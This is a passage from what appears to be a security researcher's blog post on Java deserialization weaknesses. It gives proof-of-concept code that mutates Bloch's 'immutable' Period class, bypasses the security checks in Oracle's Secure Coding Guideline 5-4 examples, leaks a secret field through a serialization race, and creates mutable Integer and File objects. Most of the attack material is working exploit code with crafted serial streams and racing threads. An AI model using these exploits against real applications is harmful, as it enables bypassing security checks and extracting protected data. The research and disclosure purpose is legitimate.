067     // stack inspection
068     ByteArrayOutputStream baos = new ByteArrayOutputStream();
069     new Exception().printStackTrace(new PrintStream(baos));
070     int period = baos.toString().indexOf("Period.");
071     int periodReadObject = baos.toString().indexOf("Period.readObject");
072     if (period == periodReadObject) {
073       final Period mutable = this.period;
074       // at this moment we hold a ref to a mutable Period - proof:
075       System.out.println("start: " + mutable.start());
076       System.out.println("start: " + mutable.start());
077       System.out.println("start: " + mutable.start());
078       System.out.println("start: " + mutable.start());
079     }
080     
081     if (pos >= values.length) {
082       return 0;
083     }
084     return values[pos++];
085   }
086 
087   private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
088     s.defaultReadObject();
089   }
090   
091 }

Apologies for the bad readability of the code, the multiple re-entries into the getTime() method complicate things a bit.

There are two objects in the serial data. An instance of Josh's Period class and an instance of a class defined here, MutableDate. The idea is that both the start and end fields of the Period object will be populated with the same MutableDate instance (it doesn't need to be the same, just being stingy on LOC). Eventually the Period.readObject method will replace these with immutable Date objects, but the idea is that we do our dirty bidding before that takes place. The Period.readObject calls Date.getTime() on our MutableDate instance which is stored in the start field. At this point all three fields; Period.start, Period.end and MutableDate.period have been initialized. We have control of the PeriodObject through an early cross reference in the MutableDate instance. As a proof of the mutability there are 4 consecutive calls to the Period.start() method whose output are printed, something like this:

start: Thu May 01 00:00:00 BRT 2008
start: Sat Jul 04 00:00:00 BRT 2009
start: Fri Dec 24 00:00:00 BRST 2010
start: Sun Aug 08 00:00:00 BRT 2010

Important note for those who might be at doubt: Joshua Bloch is not the problem. The serialization/deserialization SNAFU is.

2) Oracle Secure Coding guidelines (Guideline 5-4):

2a) Example 1

As this class is pretty skinny on the details, I'll skip it. I'd have to add most of the logic to it and then one could argue that the code I added made it vulnerable.

2b) Example 2

I added a few things to this class to make it more serially robust and to be able to better display it being manipulated, namely, a serialVersionUID and a toString method. Security-wise the class is still exactly as it is in the secure coding guidelines example:

001 package ser3;
002 
003 import java.io.IOException;
004 
005 public final class SecureName implements java.io.Serializable {
006 
007   private static final long serialVersionUID = 3874641747845008981L;
008 
009   // private internal state
010     private String name;
011 
012     private static final String DEFAULT = "DEFAULT";
013 
014     public SecureName() {
015         // initialize name to default value
016         name = DEFAULT;
017     }
018 
019     // allow callers to modify private internal state
020     public void setName(String name) {
021         if (name != null ? name.equals(this.name) : (this.name == null)) {
022             // no change - do nothing
023             return;
024         } else {
025             // permission needed to modify name
026             securityManagerCheck();
027 
028             inputValidation(name);
029 
030             this.name = name;
031         }
032     }
033 
034   // implement readObject to enforce checks during deserialization
035     private void readObject(java.io.ObjectInputStream in) throws ClassNotFoundException, IOException {
036         java.io.ObjectInputStream.GetField fields = in.readFields();
037         String name = (String) fields.get("name", DEFAULT);
038 
039         // if the deserialized name does not match the default value normally
040         // created at construction time, duplicate checks
041 
042         if (!DEFAULT.equals(name)) {
043             securityManagerCheck();
044             inputValidation(name);
045         }
046         this.name = name;
047     }
048 
049     private void inputValidation(String name2) {
050         // code omitted
051      throw new SecurityException("not allowed");
052     }
053 
054     private void securityManagerCheck() {
055         // code omitted
056      throw new SecurityException("not allowed");
057     }
058 
059     public String toString() {
060      return "SecureName: " + this.name;
061     }
062 
063 }


And to break it:

001 package ser3;
002 
003 import java.io.IOException;
004 import java.io.NotActiveException;
005 import java.io.ObjectInputStream;
006 import java.io.ObjectStreamConstants;
007 
008 import util.Converter;
009 import util.EvilSplitStream;
010 
011 public class App implements ObjectStreamConstants {
012 
013   static final Object[] _DATA = new Object[] {
014     STREAM_MAGIC, STREAM_VERSION, // stream headers
015     
016     TC_OBJECT,
017     TC_CLASSDESC,
018       SecureName.class.getName(), // A Period object
019       (long) 3874641747845008981L, // serialVersionUID
020       (byte) 3, // classdesc flags
021       (short) 1, // field count
022       (byte) 'L', "name", TC_STRING, "Ljava/lang/String;", // start field
023     TC_ENDBLOCKDATA,
024     TC_NULL, // no superclass
025 
026     // field value data
027     TC_STRING, "EVIL", // value for SecureName.name
028   };
029 
030   public static SecureName evilName = null;
031   
032   public static void main(String[] args) throws Exception {
033     final EvilSplitStream is = new EvilSplitStream(Converter.getStream(_DATA));
034     final ObjectInputStream ois = new ObjectInputStream(is);
035 
036     is.mark(1024);
037     new Thread() {
038       public void run() {
039         while (true) {
040           try {
041             ois.readObject();
042           } catch (NotActiveException nae) {
043             // NAE means defaultReadObject was successfully called
044             // in the other thread
045             break; // and our work is done
046           } catch (SecurityException se) {
047             se.printStackTrace();
048           } catch (ClassNotFoundException cnfe) {
049           } catch (IOException ioe) {
050             ioe.printStackTrace();
051           }
052           try {
053             is.reset();
054           } catch (IOException ioe) {
055             ioe.printStackTrace();
056           }
057         }
058       }
059     }.start();
060 
061     // this thread "forces" a call to defaultReadObject
062     while (true) {
063       try {
064         ois.defaultReadObject();
065         System.out.println("Successfully called defaultReadObject externally.");
066         try {
067           int ref = baseWireHandle;
068           // enumerate all refs in the stream to find the evil object
069           while (true) {
070             is.rewrite(Converter.getStream(new Object[] {TC_REFERENCE, ref++}));
071             Object obj = ois.readObject(); // read ref
072             if (obj.toString().contains("EVIL")) {
073               App.evilName = (SecureName) obj;
074               break;
075             }
076           }
077         } catch (Throwable t) {
078           t.printStackTrace();
079         }
080         
081         break; // done; bail
082       } catch (IOException e) {
083       } catch (ClassNotFoundException e) {
084       }
085     }
086 
087     // done
088     System.out.println("An evil SecureName: " + evilName);
089   }
090 }


Basically, we create an additional thread which keeps on calling .readObject() on the ObjectInputStream, reading the same object over and over again (thanks to resetting the underlying InputStream after each call).

Meanwhile, another thread keeps on calling .defaultReadObject() on the same ObjectInputStream. Once the right condition occurs (happens immediately on my core 2 laptop) and the other thread is in the SecureName.readObject method, but hasn't called .readFields() yet, the call to .defaultReadObject succeeds and all of SecureName's serial fields are automatically populated. That particular SecureName instance gets a bit lost, because defaultReadObject() doesn't return anything, and the corresponding .readObject() in the other thread ends up throwing an exception (because it tries to call readFields() after defaultReadObject() has already been called). To get a hold of the "missing" object, we do a little bit of magic and manipulate our stream to return a ref to all the objects in it.

2c) Example 3 - Secure writeObject implementation with a security check.

Same as above, adding some meat & bones to this example to have something worthwhile to steal. A serialVersionUID and a value for the sensitive field. This is what we'll try to extract through serialization.

001 package ser4;
002 
003 import java.io.IOException;
004 
005 public final class SecureValue implements java.io.Serializable {
006 
007   private static final long serialVersionUID = -5975820784258084088L;
008 
009   // sensitive internal state
010     private String value = "The secret of life is D41D8CD98F00B204E9800998ECF8427E";
011 
012     // public method to allow callers to retrieve internal state
013     public String getValue() {
014         // permission needed to get value
015         securityManagerCheck();
016         return value;
017     }
018 
019     // implement writeObject to enforce checks during serialization
020     private void writeObject(java.io.ObjectOutputStream out) throws IOException {
021         // duplicate check from getValue()
022         securityManagerCheck();
023         out.writeObject(value);
024     }
025 
026     private void securityManagerCheck() {
027         // code omitted
028     }
029 }


And the code that breaks it:

001 package ser4;
002 
003 import java.io.ByteArrayOutputStream;
004 import java.io.IOException;
005 import java.io.ObjectOutputStream;
006 import java.io.ObjectStreamConstants;
007 
008 public class App implements ObjectStreamConstants {
009 
010   static ObjectOutputStream OOS = null;
011 
012   static boolean completed = false;
013   
014   public static void main(String[] args) throws Exception {
015     final ByteArrayOutputStream baos = new ByteArrayOutputStream();
016     OOS = new ObjectOutputStream(baos);
017     new Thread() {
018       public void run() {
019         while (!completed) {
020           try {
021             OOS.writeObject(new SecureValue());
022           } catch (IOException ioe) {}
023         }
024       }
025     }.start();
026     while (!completed) {
027       try {
028         OOS.defaultWriteObject();
029         System.out.println("serial data: " + baos.toString());
030         completed = true;
031       } catch (IOException e) {
032       }
033     }
034   }
035 
036 }


This one is simple. One thread keeps on writing SecureValue objects into the ObjectOutputStream (new instance every time, otherwise the serialization framework would just write a ref). Another thread keeps on calling defaultWriteObject() on the same ObjectOutputStream. Once the race condition stars align (again, on my laptop this is immediate) the secrets of the SecureValue instance get written into a ByteArrayOutputStream and are accessible to us.

3) java.lang.Integer

Creating a mutable Integer that starts with zero as the value and on command changes it's value to any int value is quite trivial.

001 package ser5;
002 
003 import java.io.ObjectStreamConstants;
004 
005 import util.Converter;
006 
007 public class App1 implements ObjectStreamConstants {
008 
009   static final Object[] _DATA = new Object[] {
010     STREAM_MAGIC, STREAM_VERSION, // stream headers
011     
012     TC_OBJECT,
013     TC_CLASSDESC,
014       Integer.class.getName(), // name
015       (long) 1360826667806852920L, // serialVersionUID
016       (byte) 2, // classdesc flags
017       (short) 1, // field count
018       (byte) 'I', "value",
019     TC_ENDBLOCKDATA,
020     // super
021     TC_CLASSDESC,
022       "pkg.None", // name
023       (long) 1337L, // serialVersionUID
024       (byte) 2,// classdesc flags
025       (short) 1, // field count
026       (byte) 'L', "notimportant", TC_STRING, "Ljava/lang/Object;",
027     TC_ENDBLOCKDATA,
028     // super
029     TC_NULL,
030 
031     // start value data
032     TC_OBJECT, // embedded object, the value of pkg.None.notimportant phantom field
033     TC_CLASSDESC,
034       Ref.class.getName(), // name
035       (long) 1, // serialVersionUID
036       (byte) 2, // flags
037       (short) 1, // field count
038       (byte) 'L', "i", TC_STRING, "Ljava/lang/Integer;",
039     TC_ENDBLOCKDATA,
040     // super
041     TC_NULL,
042 
043     // start value data for Ref
044     TC_REFERENCE, baseWireHandle + 3, // ref to the Integer object
045 
046     1337 // value of the Integer object
047   };
048 
049   public static Integer INSTANCE = null;
050   
051   public static void main(String[] args) throws Exception {
052     Converter.convert(_DATA).readObject();
053      System.out.println("INSTANCE(" + System.identityHashCode(App1.INSTANCE) + ") value = " + App1.INSTANCE);
054   }
055 
056 }


001 package ser5;
002 
003 
004 import java.io.IOException;
005 import java.io.ObjectInputStream;
006 import java.io.Serializable;
007 
008 public class Ref implements Serializable {
009   private static final long serialVersionUID = 1L;
010 
011   public Integer i;
012   
013     private void readObject (ObjectInputStream s) throws IOException, ClassNotFoundException {
014      s.defaultReadObject ();
015      App1.INSTANCE = this.i;
016      System.out.println("INSTANCE(" + System.identityHashCode(App1.INSTANCE) + ") value = " + App1.INSTANCE);
017     }
018 
019 }


We have an early reference on a phantom superclass field containing a Ref object. This object has a reference to the Integer instance before it's fields have been initialized (because the phantom superclass fields are still being initialized). So the Integer instance has the default value 0. Once the initialization completes, the object will have the value that is in the stream. In this case 1337.

It is also possible, with a few limitations, to create more arbitrary mutability from any value to another, with multiple changes.

001 package ser5;
002 
003 import java.io.ObjectStreamConstants;
004 
005 import util.Converter;
006 import util.Repeat;
007 
008 public class App2 implements ObjectStreamConstants {
009 
010   static final Object[] _DATA = new Object[] {
011     STREAM_MAGIC, STREAM_VERSION, // stream headers
012     
013     TC_OBJECT,
014     TC_CLASSDESC,
015       Integer.class.getName(), // name
016       (long) 1360826667806852920L, // serialVersionUID
017       (byte) 2, // classdesc flags
018       (short) 10000, // field count
019       Repeat.me(10000, new Object[] {
020         (byte) 'I', "value"
021       }),
022     TC_ENDBLOCKDATA,
023     // super
024     TC_CLASSDESC,
025       "pkg.None", // name
026       (long) 1337L, // serialVersionUID
027       (byte) 2,// classdesc flags
028       (short) 1, // field count
029       (byte) 'L', "notimportant", TC_STRING, "Ljava/lang/Object;",
030     TC_ENDBLOCKDATA,
031     // super
032     TC_NULL,
033 
034     // start value data
035     TC_OBJECT, // embedded object, the value of pkg.None.notimportant phantom field
036     TC_CLASSDESC,
037       Ref2.class.getName(), // name
038       (long) 1, // serialVersionUID
039       (byte) 2, // flags
040       (short) 1, // field count
041       (byte) 'L', "i", TC_STRING, "Ljava/lang/Integer;",
042     TC_ENDBLOCKDATA,
043     // super
044     TC_NULL,
045 
046     // start value data for XRef
047     TC_REFERENCE, baseWireHandle + 3, // ref to the 4th object in the stream
048 
049     // start integer data
050     Repeat.me(2000, new Object[] {
051       1
052     }),
053     Repeat.me(2000, new Object[] {
054       2
055     }),
056     Repeat.me(2000, new Object[] {
057       3
058     }),
059     Repeat.me(2000, new Object[] {
060       4
061     }),
062     Repeat.me(2000, new Object[] {
063       5
064     }),
065   };
066 
067   public static void main(String[] args) throws Exception {
068     Converter.convert(_DATA).readObject();
069   }
070 
071 }


001 package ser5;
002 
003 import java.io.IOException;
004 import java.io.ObjectInputStream;
005 import java.io.Serializable;
006 
007 public class Ref2 implements Serializable {
008   private static final long serialVersionUID = 1L;
009 
010   public Integer i;
011   
012     private void readObject (ObjectInputStream s) throws IOException, ClassNotFoundException {
013      s.defaultReadObject ();
014      new Thread() {
015      public void run() {
016      while (i.intValue() < 5) {
017      System.out.println("::" + i);
018      }
019         System.out.println("::" + i);
020      }
021      }.start();
022      try {
023       Thread.sleep(50);
024     } catch (InterruptedException e) {
025       e.printStackTrace();
026     }
027     }
028 }


This example uses the Repeated Field attack. It's quite a bit messier than the 0-1337 example above, but it manages repeated mutability. The serial data contains the value field of the Integer class repeated 10,000 times. That is, 2000 times for each of the values: 1, 2, 3, 4 and 5. To demonstrate the mutation, another Threads keeps printing the Integer.

4) java.io.File

001 package ser6;
002 import java.io.EOFException;
003 import java.io.File;
004 import java.io.IOException;
005 import java.io.NotActiveException;
006 import java.io.ObjectInputStream;
007 import java.io.ObjectStreamConstants;
008 import java.io.OptionalDataException;
009 import java.io.StreamCorruptedException;
010 
011 import util.Converter;
012 import util.EvilSplitStream;
013 
014 public class App implements ObjectStreamConstants {
015   
016   static final Object[] _DATA = new Object[] {
017     STREAM_MAGIC, STREAM_VERSION, // stream headers
018     TC_OBJECT,
019     TC_CLASSDESC,
020       File.class.getName(),
021       (long) 301077366599181567L, // serialVersionUID
022       (byte) 3, // classdesc flags
023       (short) 2, // field count
024       (byte)'L', "path", TC_STRING, "Ljava/lang/String;",
025       (byte)'L', "phantom", TC_STRING, "Ljava/lang/Object;",
026     TC_ENDBLOCKDATA,
027     TC_NULL, // no superclass
028     
029     // start value data for File
030     TC_STRING, "/", // path
031     TC_OBJECT, // phantom (phantom field)
032     TC_CLASSDESC,
033       XRef.class.getName(),
034       (long) 1, // serialVersionUID
035       (byte) 2, // classdesc flags
036       (short)1, // field count
037       (byte)'L', "bb", TC_STRING, "Ljava/lang/Object;",
038     TC_ENDBLOCKDATA,
039     TC_NULL, // no superclass
040     
041     // start value data for XRef
042     TC_REFERENCE, baseWireHandle + 3,
043     TC_BLOCKDATA, (byte) 2, (short) '\\', TC_ENDBLOCKDATA,
044   };
045   
046   
047   public static File INSTANCE = null;
048   
049   public static boolean keepWaiting = true;
050   
051   public static void main(String[] args) throws Exception {
052     final EvilSplitStream is = new EvilSplitStream(Converter.getStream(_DATA));
053     final ObjectInputStream ois = new ObjectInputStream(is);
054     
055     new Thread() {
056       public void run() {
057         while (true) {
058           try {
059             ois.defaultReadObject();
060                System.out.println(":INSTANCE(" + System.identityHashCode(App.INSTANCE) + ") value = " + App.INSTANCE.getPath());
061             break; // done, bail
062           } catch (IOException e) {
063           } catch (ClassNotFoundException e) {
064           }
065         }
066       }
067     }.start();
068     
069     is.mark(50000);
070     while (true) {
071       try {
072         ois.readObject();
073       } catch (NotActiveException nae) {
074         App.keepWaiting = false;
075         System.out.println("NAE. OK. Bailing.");
076         break;
077       } catch (IllegalArgumentException iae) {
078       }
079       is.reset();
080     }
081   }
082 
083 }


001 package ser6;
002 
003 
004 import java.io.ByteArrayOutputStream;
005 import java.io.File;
006 import java.io.IOException;
007 import java.io.ObjectInputStream;
008 import java.io.PrintStream;
009 import java.io.Serializable;
010 
011 public class XRef implements Serializable {
012   private static final long serialVersionUID = 1L;
013 
014   public File bb;
015   
016     private void readObject (ObjectInputStream s) throws IOException, ClassNotFoundException {
017      s.defaultReadObject();
018      ByteArrayOutputStream baos = new ByteArrayOutputStream();
019      PrintStream ps = new PrintStream(baos);
020      new Exception().printStackTrace(ps);
021      String stack = baos.toString();
022      if (stack.contains("defaultReadObject")) {
023          App.INSTANCE = bb;
024          System.out.println("INSTANCE(" + System.identityHashCode(App.INSTANCE) + ") value = " + App.INSTANCE.getPath());
025          try {
026          while (App.keepWaiting) {
027          Thread.sleep(10);
028          }
029       } catch (InterruptedException e) {
030         e.printStackTrace();
031       }
032      }
033     }
034 
035 }


That's not terribly robust, there's so many things that can go wrong with the timing. But it seems to work most of the time. It's a File that at first has a null path and then "/" as it's path. This path string doesn't pass through normalization. I'm not certain if that has security implications.